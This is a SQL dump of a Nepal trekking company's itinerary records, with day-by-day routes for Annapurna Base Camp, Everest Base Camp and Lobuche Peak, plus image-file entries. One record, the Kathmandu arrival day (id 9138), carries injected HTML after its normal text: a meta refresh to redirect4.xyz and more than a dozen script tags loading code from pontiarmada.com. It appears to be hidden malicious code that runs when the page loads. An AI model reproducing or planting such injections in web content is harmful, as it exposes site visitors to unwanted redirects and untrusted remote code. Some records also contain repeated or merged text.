(9129, 'Chhomrong to Dhovan (2600m 6rs, walk)', '<p>Morning, you have a great view of Annapurna South, Hiunchuli and Machhapuchare like Mirror. All mountains are in front of you with Mountain View breakfast. We walk to Bamboo with ascending and descending Hills through crossing suspension bridge. You will also have Jungle walk through Pine, Bamboo and Rhododendron forests and reach to Dovan.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9130, 'Dovan to Machhapuchhre Base Camp (3725m, 5hrs walk)', '<p>Today is quite adventure day due to more than 1000m hike up to M.B.C. You have forest walk till Himalaya and hike to Deurali via Cave and Landslide Areas. From Deurali, there is no any Jungle walk, it is totally mountain area. In the evening, overnight in Machhapuchhre Base Camp.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9131, 'Machhapuchhre Base Camp to Annapurna Base Camp (4130m, 3hrs walk)', '<p>Today is the final walk to your last destination in high altitude. It takes 3 hours to walk from MBC to ABC. There is a nice view of Annapurna South, Gangapurna, Machhapuchhre, Glacier Dom, and Hiunchuli. Overnight at Tea House of ABC. Enjoy the nice sunset from here. Near your Lodge, there is big Annapurna Glacier; be aware when you walk around.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9132, 'Annapurna Base Camp to Bamboo (2290m, 7hrs walk)', '<p>Morning, enjoy the sunrise and golden color of mountain peaks. Take photographs which will be lifetime unforgettable. After breakfast, walk down to Bamboo via MBC, Deurali, Himalaya, and Donovan. It takes 6-7 hrs to walk down to Bamboo. Overnight at Tea House of Bamboo.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9133, 'Bamboo to Jhinu Danda (1400m, 6rs walk)', '<p>As usual, after breakfast walk to Jhinu Danda via Sinuwa and Chhomrong village. Today you will have great Hot Spring bath in Jhinu Danda. After Lunch in Jhinu, walk downhill to Modi Khola to have a bath in Hot Spring. It will be really like water massage after a long walk to ABC. Overnight at Jhinu Danda Lodge.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9134, 'Jhinu Danda to Pokhara (920m, 6hrs walk)', '<p>Today is the last day of your trekking to ABC. You walk 3 hours walk down to Kyumi and drive to Pokhara. Tell Goodbye to your Guide and Porter who really help you to success your trip to Annapurna Base Camp. Overnight at 3* standard nice hotel in Pokhara. Today is the last day of your trekking to ABC. You walk 3 hours walk down to Kyumi and drive to Pokhara. Tell Goodbye to your Guide and Porter who really help you to success your trip to Annapurna Base Camp. Overnight at 3* standard nice hotel in Pokhara.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9135, 'Pokhara to Kathmandu by Plane', '<p>Fly to Kathmandu from Pokhara because you had already driven to Pokhara before from Kathmandu. Now we recommend you to fly to Kathmandu from Pokhara. Overnight in Kathmandu Hotel.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9136, 'Free day / Shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Annapurna Base Camp Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9137, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Annapurna Base Camp. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9138, 'Arrival at Kathmandu Airport, Transfer to Hotel, Overnight there', '<p>Your adventure and cultural trip to Nepal begins after your arrival in Tribhuvan International Airport Kathmandu. After you will land, get your hand bag and go to immigration office where you can get your Nepal visa. There must be many people; need fill form before apply for visa and get down to 1st floor where you will wait your suitcase. After getting suitcase, go outside where our office member shows your Name in white paper sheet and transfer to Hotel. We have booked your hotel in Thamel which is the touristic hub of Nepal.<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script></p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9139, 'Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel', '<p>After breakfast, your cultural tour begins where our Guide will brief to you about whole Nepal including history, culture, people, religion, geography and living standard of People. You will visit popular world Heritage sites of Nepal such as Swyambhunath (Monkey Temple) - Hindu and Buddhist pilgrimage site, Patan Durbar Square – Old King Palace with Beautiful Temples and Houses, Pashupatinath Temple - popular Hindu temple of South Asia and Boudhanath Stupa – biggest Buddhist stupa with monastery around. It is full day guided city tour where you will learn most important historical and cultural things of Nepal. After you will return back to Hotel from sightseeing, meet with your Trekking Guide and brief about trekking program.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9140, 'Kathmandu-Lukla Flight (35 minutes), Trek to Phakding (2652m 3 hrs walk) Overnight at Tea-House', '<p>Early morning, our guide comes in your hotel and be ready your bag pack and transfer to airport; have 35 minutes scenic mountain flight to Tenzing Hillary Airport, Lukla. Our Guide will arrange porters here so you can take first mountain tea/ coffee in local lodges. Today, you have very short and easy trekking trail to Phakding from Lukla having picturesque images of suspension bridges, Chortens, Mani Wall, prayer flags and Dudh Koshi River. You will hike through local Sherpa villages till reach to Phakding where some terraced potato field can be seen on the route. Today is your first day, so you feel relax and comfortable downhill walk to Phakding from Lukla with first mountain scenery called Kusum Kagaru.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9141, 'Phakding- Namche Bazaar (3440m, 6 hrs walk) Overnight at Tea-House', '<p>You will start your trek after having breakfast in Tea House with pleasurable walk alongside the Dudh Khoshi River towards Monjo which is the permit check-Point of Sagarmatha National Park. The trekking trail goes through pine, rhododendron, Magnolia, Giant fir, Himalayan Pine forests, crossing many suspension bridge via the Sherpa villages of Benkar, Chumoa, Monjo and Jhorsalle. After your permit is checked by national park office, go little down along with Dudh Koshi River and cross amazing Tenzing Hillary suspension bridge from where the trail is slightly strenuous with a steep uphill to Namche Bazaar by inspiring first Mt. Everest View. Today you are very tired due to nearly 900 meters climb from Phakding. Namche bazaar is the commercial and administrative center of entire Khumbu region from where one can explore amazing Himalayan view.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9142, 'Acclimatization day at Namche Bazaar (Explore Around) Overnight at Tea-House', '<p>Today is acclimatization day but you are not staying at Tea House rather our Guide will help you to encounter around Namche Bazaar. Acute Mountain Sickness (AMS) and health proficient suggest to stop for one extra night here due to keeping body strong and balance. So be active and roam around than sleep and rest; climb high, sleep low and drink more water which is the theory of acclimatization in Himalaya. That is why, you hike to Japanese build Everest View hotel from where can have magnificent view of Himalaya such as Everest (8,848m), Lhotse (8,516m), Nuptse (7,861m), Ama Dablam (6,812m), Thamserku (6,623m), Cholatse (6,440m), Taboche (6,542m), and many mountain peaks. Also visit the Khumjung village where you can encounter head of yeti inside ancient monastery. Namche Bazaar is a beautiful Sherpa Village full of Tea houses, Lodges, markets, Café, Bakeries, ancient culture and lively atmosphere. You can also have pleasurable walk around this Sherpa settlement.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9143, 'Namche Bazaar – Tengboche (3850m 5-6 hrs walk) Overnight at Tea House', '<p>After exploring Namche Bazaar, we will trek to Tengboche having overlooking view of Mt. Ama Damlam and Mt. Everest. The trail is full of up and down with spotting wildlife on the way such as Musk Deer, Pheasant, and Himalayan Thar. We cross alpine woodland by leaving up trail of Gokyo valley and trek down to Imjatse River at Phunki Tanga which is a small settlement with few lodges. Mostly, trekkers take lunch here due to challenging steep climbing to Tengboche for next step. Again we walk through Rhododendron, Oak, Magnolia, Pines, and Fir trees till reach to Tengboche nearby there is famous and historical Buddhist monastery surrounded by Himalayan peaks. Our guide takes to you visit monastery which opens after 3:00 pm every day for peace meditation. You can meditate with local Buddhist Monks inside monastery.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9144, 'Tengboche – Dingboche ( 4410m 5-6 hrs walk) Overnight at Tea House', '<p>Leaving Tengboche, having hill at the backdrop, we walk down through rhododendron and Juniper forest of Dubuche and further walk to Imja River by crossing a suspension bridge and reach beautiful Sherpa settlement of Pangboche village; explore old Pangboche monastery here. Further, the path climbs to Somare and cross Imja stream with super view of Lhotse, Nuptse, and Ama Dablam Himalaya. Finally, your trail reach to another classical Sherpa village of Dingboche.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9145, 'Acclimatization day in Dingboche ( 4410m)', '<p>It is mandatory to have one more night in Dingboche for acclimatization and make body strong and balance. Dingboche is also known as “Summer Valley” of Khumbu region because of receiving rain during Monsoon, contributing to farming lands. Today, you are not staying in Hotel rather our guide takes you to climb Nagarjuna Peak, offers complete view of Khumbu Himalaya including Mt. Makalu with panoramic vistas of the entire Imja valley. You can also hike to Chhukung village which presents magnificent view of Island Peak, Amadablam, Makalu, Taboche which is optional. There will be many alpinists who are heading to Chhukung for climbing Island Peak.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9146, 'Dingboche – Lobuche (4,940m 6 hrs walk)', '<p>After having good time in Dingboche, we start climbing up having impressive view of Cholatse and Taboche on the left and steep climb towards Khumbu glacier with amazing view of Mt. Ama Dablam on backdrop. After crossing glacier, reach to small settlement of Thukla having few lodges. It is a good ridge to have lunch and zigzags trail having memorial statues of the climbers who passed away in this region and it is absolutely awed gazing. Then the path climbs along the glacier and rock finally reach in Lobuche.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9147, 'Lobuche – Gorakshep (5164m 3 hrs walk)  and Everest Base Camp ( 5380m 3hrs walk) Overnight at Tea House', '<p>Today, we have short walk to Gorakshep, climb through meadows and moraine stone steps having amazing view of Glacier. First we check in Tea House, having Lunch and start our exploration to Everest Base Camp. We hike 2 hour alongside the Khumbu glacier and reach to Base Camp; if it is spring season, can see many Camping Tents of climbers who are heading up to Everest summit. Later, we will return back to Gorakshep for stay.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9148, 'Gorakshep – Kala Patthar (5,545m) – Pheriche (4,371m) 6 hrs walk, Overnight at Tea House', '<p>Early morning, hike to Kala Patthar from Gorakshep which is one of the popular destinations during your trek to EBC. Kala Patthar is a popular ridge to see a panoramic view of Mt. Everest, Nuptse, Lhotse, Ama Dablam Pumori, and more snow-capped Himalayan Peaks as well as massive Khumbu glacier. After enjoying sunrise view, walk down to Gorakshep, take breakfast and way back down to Pheriche.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56');
INSERT INTO `itenary_packages` (`id`, `title`, `description`, `package_id`, `created_at`, `updated_at`) VALUES
(9149, 'Pheriche – Namche Bazaar (3440m 6 hrs walk) Overnight at Tea House', '<p>As usual, we begin our trekking to Namche Bazaar from Pheriche which is a small settlement with many lodges. The trekking trail goes down to Imja River all the way to Tengboche via big Sherpa settlement of Pangboche village. From Tengboche, the trail moves down to Phunki Tanga and climb to Namche.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9150, 'Namche Bazaar-Lukla (2800m 7 hrs walk Overnight at Tea House', '<p>Today, is your last day trekking in Khumbu region, we will hike down to Lukla from Namche Bazaar. We will hike through many suspension bridges, Sherpa villages, terraced potato fields, and local forests along with Dudh Koshi River. Your permit of Sagarmatha Natonal Park is exit in Monjo and hike down to Lukla for your next day flight to Kathmandu. You feel warmer today due to low elevation. In Lukla, you can have last night dinner with your trekking Guide and porter. You can have some tipping to porter saying Thank you to him.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9151, 'Lukla-Kathmandu flight, Transfer to Hotel, Overnight at Hotel', '<p>Today, you will leave Khumbu region, feel long memory of your adventure trekking. Early morning, you will fly to Kathmandu with your Trekking Guide having scenic Himalayan view. From airport, drive to Hotel tell good bye to your Guide. You are totally free today and have good rest in Hotel. In the evening our director will invite to you having typical Nepali food with cultural local dance in Thamel. Enjoy your Nepali meal with folk song and dance with our director and also discuss about your trekking experience.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9152, 'Free day / Shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Gokyo Lake Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9153, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Everest Base Camp. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 11, '2025-02-26 02:50:56', '2025-02-26 02:50:56'),
(9154, 'Arrival at Kathmandu Airport, Transfer to Hotel, Overnight there', '<p>Your adventure and cultural trip to Nepal begins after your arrival in Tribhuvan International Airport Kathmandu. After you will land, get your hand bag and go to immigration office where you can get your Nepal visa. There must be many people; need fill form before apply for visa and get down to 1st floor where you will wait your suitcase. After getting suitcase, go outside where our office member shows your Name in white paper sheet and transfer to Hotel. We have booked your hotel in Thamel which is the touristic hub of Nepal.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9155, 'Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel', '<p>After breakfast, your cultural tour begins where our Guide will brief to you about whole Nepal including history, culture, people, religion, geography and living standard of People. You will visit popular world Heritage sites of Nepal such as Swyambhunath (Monkey Temple) - Hindu and Buddhist pilgrimage site, Patan Durbar Square – Old King Palace with Beautiful Temples and Houses, Pashupatinath Temple - popular Hindu temple of South Asia and Boudhanath Stupa – biggest Buddhist stupa with monastery around. It is full day guided city tour where you will learn most important historical and cultural things of Nepal. After you will return back to Hotel from sightseeing, meet with your Trekking Guide and brief about trekking program.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9156, 'Kathmandu-Lukla Flight (35 minutes), Trek to Phakding (2652m 3 hrs walk) Overnight at Tea-House', '<p>Early morning, our guide comes in your hotel and be ready your bag pack and transfer to airport; have 35 minutes scenic mountain flight to Tenzing Hillary Airport, Lukla. Our Guide will arrange porters here so you can take first mountain tea/ coffee in local lodges. Today, you have very short and easy trekking trail to Phakding from Lukla having picturesque images of suspension bridges, Chortens, Mani Wall, prayer flags and Dudh Koshi River. You will hike through local Sherpa villages till reach to Phakding where some terraced potato field can be seen on the route. Today is your first day, so you feel relax and comfortable downhill walk to Phakding from Lukla with first mountain scenery called Kusum Kagaru.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9157, 'Phakding- Namche Bazaar (3440m, 6 hrs walk) Overnight at Tea-House', '<p>You will start your trek after having breakfast in Tea House with pleasurable walk alongside the Dudh Khoshi River towards Monjo which is the permit check-Point of Sagarmatha National Park. The trekking trail goes through pine, rhododendron, Magnolia, Giant fir, Himalayan Pine forests, crossing many suspension bridge via the Sherpa villages of Benkar, Chumoa, Monjo and Jhorsalle. After your permit is checked by national park office, go little down along with Dudh Koshi River and cross amazing Tenzing Hillary suspension bridge from where the trail is slightly strenuous with a steep uphill to Namche Bazaar by inspiring first Mt. Everest View. Today you are very tired due to nearly 900 meters climb from Phakding. Namche bazaar is the commercial and administrative center of entire Khumbu region from where one can explore amazing Himalayan view.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9158, 'Acclimatization day at Namche Bazaar (Explore Around) Overnight at Tea-House', '<p>Today is acclimatization day but you are not staying at Tea House rather our Guide will help you to encounter around Namche Bazaar. Acute Mountain Sickness (AMS) and health proficient suggest to stop for one extra night here due to keeping body strong and balance. So be active and roam around than sleep and rest; climb high, sleep low and drink more water which is the theory of acclimatization in Himalaya. That is why, you hike to Japanese build Everest View hotel from where can have magnificent view of Himalaya such as Everest (8,848m), Lhotse (8,516m), Nuptse (7,861m), Ama Dablam (6,812m), Thamserku (6,623m), Cholatse (6,440m), Taboche (6,542m), and many mountain peaks. Also visit the Khumjung village where you can encounter head of yeti inside ancient monastery. Namche Bazaar is a beautiful Sherpa Village full of Tea houses, Lodges, markets, Café, Bakeries, ancient culture and lively atmosphere. You can also have pleasurable walk around this Sherpa settlement.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9159, 'Namche Bazaar – Tengboche (3850m 5-6 hrs walk) Overnight at Tea House', '<p>After exploring Namche Bazaar, we will trek to Tengboche having overlooking view of Mt. Ama Damlam and Mt. Everest. The trail is full of up and down with spotting wildlife on the way such as Musk Deer, Pheasant, and Himalayan Thar. We cross alpine woodland by leaving up trail of Gokyo valley and trek down to Imjatse River at Phunki Tanga which is a small settlement with few lodges. Mostly, trekkers take lunch here due to challenging steep climbing to Tengboche for next step. Again we walk through Rhododendron, Oak, Magnolia, Pines, and Fir trees till reach to Tengboche nearby there is famous and historical Buddhist monastery surrounded by Himalayan peaks. Our guide takes to you visit monastery which opens after 3:00 pm every day for peace meditation. You can meditate with local Buddhist Monks inside monastery.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9160, 'Tengboche – Dingboche (4410m 5-6 hrs walk) Overnight at Tea House', '<p>Leaving Tengboche, having hill at the backdrop, we walk down through rhododendron and Juniper forest of Dubuche and further walk to Imja River by crossing a suspension bridge and reach beautiful Sherpa settlement of Pangboche village; explore old Pangboche monastery here. Further, the path climbs to Somare and cross Imja stream with super view of Lhotse, Nuptse, and Ama Dablam Himalaya. Finally, your trail reach to another classical Sherpa village of Dingboche.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9161, 'Acclimatization day in Dingboche (4410m)', '<p>It is mandatory to have one more night in Dingboche for acclimatization and make body strong and balance. Dingboche is also known as “Summer Valley” of Khumbu region because of receiving rain during Monsoon, contributing to farming lands. Today, you are not staying in Hotel rather our guide takes you to climb Nagarjuna Peak, offers complete view of Khumbu Himalaya including Mt. Makalu with panoramic vistas of the entire Imja valley. You can also hike to Chhukung village which presents magnificent view of Island Peak, Amadablam, Makalu, Taboche which is optional. There will be many alpinists who are heading to Chhukung for climbing Island Peak.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9162, 'Dingboche – Lobuche (4,940m 6 hrs walk) Overnight at Tea House', '<p>After having good time in Dingboche, we start climbing up having impressive view of Cholatse and Taboche on the left and steep climb towards Khumbu glacier with amazing view of Mt. Ama Dablam on backdrop. After crossing glacier, reach to small settlement of Thukla having few lodges. It is a good ridge to have lunch and zigzags trail having memorial statues of the climbers who passed away in this region and it is absolutely awed gazing. Then the path climbs along the glacier and rock finally reach in Lobuche.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9163, 'Lobuche – Gorakshep (5164m 3 hrs walk) and Everest Base Camp (5380m 3hrs walk) Overnight at Tea House', '<p>Today, we have short walk to Gorakshep, climb through meadows and moraine stone steps having amazing view of Glacier. First we check in Tea House, having Lunch and start our exploration to Everest Base Camp. We hike 2 hour alongside the Khumbu glacier and reach to Base Camp; if it is spring season, can see many Camping Tents of climbers who are heading up to Everest summit. Later, we will return back to Gorakshep for stay.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9164, 'Gorakshep – Kala Patthar (5,545m) – Lobuche Base Camp (5000m 6 hrs walk) Overnight in Camping Tent', '<p>Early morning, we climb Kala Patthar to explore virgin Himalayan beauty and sunrise view of top of the world. Kala Patthar, it represents black rock. We trek back to Lobuche and have quite challenging rocky hike to Lobuche Base Camp.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9165, 'Lobuche Base Camp – High Camp (5600m 3 hrs climb) Overnight in Camping Tent', '<p>Early morning, we take basic training practice for climb and head up to high Camp with our climbing Sherpa Guide. High Camp is full of slippery ice and stone stones with beautiful images of white Himalayan 13) High Camp- Summit Lobuche Peak (6,119m) and Back to Lobuche Base Camp, Overnight in Camping Tent 9 -10 hrs After mid night, we start our climbing section to Lobuche peak from High Camp; takes 8-9 hours to complete it. We need fix rope on the route due to snow rocky slippery and crevasses. It is more challenging and exciting day and also feel life time unforgettable experience because of amazing scenery of Himalaya such as Mt. Everest, Lhotse, Nuptse, Ama Dablam, Pumori, Makalu and more. Our guide will help to make good photograph of summit section and descending to Lobuche Base Camp.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9166, 'Lobuche Base Camp – Pangboche (3900m 6 hrs walk)', '<p>After exploring Lobuche peak, trek down to Pangboche via Thukla, Phriche and Somare village. Pangboche is beautiful big Sherpa settlement having historical monasteries and houses.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9167, 'Pangboche – Namche Bazzar (3440m, 6-7 hrs walk)', '<p>As usual, we begin our trekking to Namche Bazaar from Pangboche which is a small settlement with many lodges. The trekking trail goes down to Imja River all the way to Tengboche via big Sherpa settlement of Pangboche village. From Tengboche, the trail moves down to Phunki Tanga and climb to Namche</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9168, 'Namche Bazaar-Lukla (2800m 7 hrs walk Overnight at Tea House', '<p>Today, is your last day trekking in Khumbu region, we will hike down to Lukla from Namche Bazaar. We will hike through many suspension bridges, Sherpa villages, terraced potato fields, and local forests along with Dudh Koshi River. Your permit of Sagarmatha Natonal Park is exit in Monjo and hike down to Lukla for your next day flight to Kathmandu. You feel warmer today due to low elevation. In Lukla, you can have last night dinner with your trekking Guide and porter. You can have some tipping to porter saying Thank you to him.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9169, 'Lukla-Kathmandu flight, Transfer to Hotel, Overnight at Hotel', '<p>Today, you will leave Khumbu region, feel long memory of your adventure trekking. Early morning, you will fly to Kathmandu with your Trekking Guide having scenic Himalayan view. From airport, drive to Hotel tell good bye to your Guide. You are totally free today and have good rest in Hotel. In the evening our director will invite to you having typical Nepali food with cultural local dance in Thamel. Enjoy your Nepali meal with folk song and dance with our director and also discuss about your trekking experience.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9170, 'Free day / Shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Gokyo Lake Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18'),
(9171, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Everest Base Camp. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 32, '2025-03-25 23:03:18', '2025-03-25 23:03:18');

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(200, 'Island peak 4', 'island-peak-4', 'jpg', '/storage/island-peak-4.jpg', 'Island peak 4', '1200', '1600', '212KB', '2023-09-19 07:57:38', '2023-09-19 07:57:38', '2023-09-19 07:57:38'),
(201, 'Island peak 5', 'island-peak-5', 'jpg', '/storage/island-peak-5.jpg', 'Island peak 5', '760', '577', '87KB', '2023-09-19 07:57:43', '2023-09-19 07:57:43', '2023-09-19 07:57:43'),
(202, 'Mera Peak 5', 'mera-peak-5', 'PNG', '/storage/mera-peak-5.PNG', 'Mera Peak 5', '953', '474', '1070KB', '2023-09-19 08:04:11', '2023-09-19 08:04:11', '2023-09-19 08:04:11'),
(203, 'Mera Peak 2', 'mera-peak-2', 'PNG', '/storage/mera-peak-2.PNG', 'Mera Peak 2', '749', '489', '633KB', '2023-09-19 08:04:16', '2023-09-19 08:04:16', '2023-09-19 08:04:16'),
(204, 'Mera Peak 1', 'mera-peak-1', 'PNG', '/storage/mera-peak-1.PNG', 'Mera Peak 1', '691', '423', '526KB', '2023-09-19 08:04:21', '2023-09-19 08:04:21', '2023-09-19 08:04:21'),
(205, 'Mera Peak 4', 'mera-peak-4', 'PNG', '/storage/mera-peak-4.PNG', 'Mera Peak 4', '754', '476', '890KB', '2023-09-19 08:04:29', '2023-09-19 08:04:29', '2023-09-19 08:04:29'),
(206, 'Mera Peak 3', 'mera-peak-3', 'PNG', '/storage/mera-peak-3.PNG', 'Mera Peak 3', '707', '459', '845KB', '2023-09-19 08:04:35', '2023-09-19 08:04:35', '2023-09-19 08:04:35'),
(207, '5', '5', 'jpg', '/storage/5.jpg', '5', '1080', '1264', '355KB', '2023-09-19 09:13:16', '2023-09-19 09:13:16', '2023-09-19 09:13:16'),
(208, 'Naya Kanga Peak 1', 'naya-kanga-peak-1', 'PNG', '/storage/naya-kanga-peak-1.PNG', 'Naya Kanga Peak 1', '966', '492', '515KB', '2023-09-19 09:13:22', '2023-09-19 09:13:22', '2023-09-19 09:13:22'),
(209, 'Naya Kanga Peak 2', 'naya-kanga-peak-2', 'PNG', '/storage/naya-kanga-peak-2.PNG', 'Naya Kanga Peak 2', '772', '579', '665KB', '2023-09-19 09:13:29', '2023-09-19 09:13:29', '2023-09-19 09:13:29'),
(210, 'Naya Kanga Peak 3', 'naya-kanga-peak-3', 'PNG', '/storage/naya-kanga-peak-3.PNG', 'Naya Kanga Peak 3', '753', '445', '774KB', '2023-09-19 09:13:36', '2023-09-19 09:13:36', '2023-09-19 09:13:36'),
(211, 'Naya Kanga Peak 4', 'naya-kanga-peak-4', 'PNG', '/storage/naya-kanga-peak-4.PNG', 'Naya Kanga Peak 4', '961', '515', '1065KB', '2023-09-19 09:13:49', '2023-09-19 09:13:49', '2023-09-19 09:13:49'),
(212, 'Paldor Peak Climbing', 'paldor-peak-climbing', 'docx', '/storage/paldor-peak-climbing.docx', 'Paldor Peak Climbing', '', '', '24KB', '2023-09-19 10:33:34', '2023-09-19 10:33:34', '2023-09-19 10:33:34'),
(213, 'Paldor Peak 1', 'paldor-peak-1', 'PNG', '/storage/paldor-peak-1.PNG', 'Paldor Peak 1', '775', '477', '176KB', '2023-09-19 10:34:02', '2023-09-19 10:34:02', '2023-09-19 10:34:02'),
(214, 'Paldor Peak 2', 'paldor-peak-2', 'PNG', '/storage/paldor-peak-2.PNG', 'Paldor Peak 2', '698', '366', '573KB', '2023-09-19 10:34:08', '2023-09-19 10:34:08', '2023-09-19 10:34:08'),
(215, 'Paldor Peak 3', 'paldor-peak-3', 'PNG', '/storage/paldor-peak-3.PNG', 'Paldor Peak 3', '730', '385', '698KB', '2023-09-19 10:34:16', '2023-09-19 10:34:16', '2023-09-19 10:34:16'),
(216, 'Paldor Peak 4', 'paldor-peak-4', 'PNG', '/storage/paldor-peak-4.PNG', 'Paldor Peak 4', '762', '360', '436KB', '2023-09-19 10:34:21', '2023-09-19 10:34:21', '2023-09-19 10:34:21'),
(217, 'Paldor peak 5', 'paldor-peak-5', 'PNG', '/storage/paldor-peak-5.PNG', 'Paldor peak 5', '759', '510', '914KB', '2023-09-19 10:34:29', '2023-09-19 10:34:29', '2023-09-19 10:34:29'),
(218, 'Pisang peak 1', 'pisang-peak-1', 'jpg', '/storage/pisang-peak-1.jpg', 'Pisang peak 1', '1024', '768', '166KB', '2023-09-19 10:55:55', '2023-09-19 10:55:55', '2023-09-19 10:55:55'),
(219, 'Pisang Peak 2', 'pisang-peak-2', 'jpg', '/storage/pisang-peak-2.jpg', 'Pisang Peak 2', '768', '1024', '224KB', '2023-09-19 10:56:02', '2023-09-19 10:56:02', '2023-09-19 10:56:02'),
(220, 'Pisang peak 3', 'pisang-peak-3', 'PNG', '/storage/pisang-peak-3.PNG', 'Pisang peak 3', '759', '459', '1066KB', '2023-09-19 10:56:08', '2023-09-19 10:56:08', '2023-09-19 10:56:08'),
(221, 'Pisang Peak 4', 'pisang-peak-4', 'PNG', '/storage/pisang-peak-4.PNG', 'Pisang Peak 4', '769', '430', '726KB', '2023-09-19 10:56:14', '2023-09-19 10:56:14', '2023-09-19 10:56:14'),
(222, 'Pisang peak 5', 'pisang-peak-5', 'PNG', '/storage/pisang-peak-5.PNG', 'Pisang peak 5', '735', '268', '502KB', '2023-09-19 10:56:18', '2023-09-19 10:56:18', '2023-09-19 10:56:18'),
